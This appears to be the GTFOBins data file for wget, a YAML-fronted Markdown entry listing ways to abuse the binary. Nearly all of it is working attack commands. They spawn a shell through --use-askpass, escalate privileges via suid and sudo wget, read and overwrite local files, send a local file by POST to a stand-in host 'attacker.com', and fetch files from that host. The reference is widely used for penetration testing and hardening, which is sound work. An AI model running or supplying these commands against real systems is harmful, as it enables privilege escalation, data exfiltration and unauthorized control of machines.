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https://github.com/GTFOBins/GTFOBins.github.io
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46 lines
1.7 KiB
Markdown
46 lines
1.7 KiB
Markdown
---
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functions:
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shell:
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- code: |
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TF=$(mktemp)
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chmod +x $TF
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echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
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wget --use-askpass=$TF 0
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file-upload:
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- description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data.
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code: |
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URL=http://attacker.com/
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LFILE=file_to_send
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wget --post-file=$LFILE $URL
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file-read:
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- description: The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages, thus this is not suitable to read arbitrary binary data.
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code: |
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LFILE=file_to_read
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wget -i $LFILE
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file-write:
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- description: The data to be written is treated as a list of URLs, one per line, which are actually fetched by `wget`. The data is written, somewhat modified, as error messages, thus this is not suitable to write arbitrary binary data.
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code: |
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LFILE=file_to_write
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TF=$(mktemp)
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echo DATA > $TF
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wget -i $TF -o $LFILE
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file-download:
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- description: Fetch a remote file via HTTP GET request.
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code: |
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URL=http://attacker.com/file_to_get
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LFILE=file_to_save
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wget $URL -O $LFILE
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suid:
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- code: |
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TF=$(mktemp)
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chmod +x $TF
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echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
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./wget --use-askpass=$TF 0
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sudo:
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- code: |
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TF=$(mktemp)
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chmod +x $TF
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echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
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sudo wget --use-askpass=$TF 0
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---
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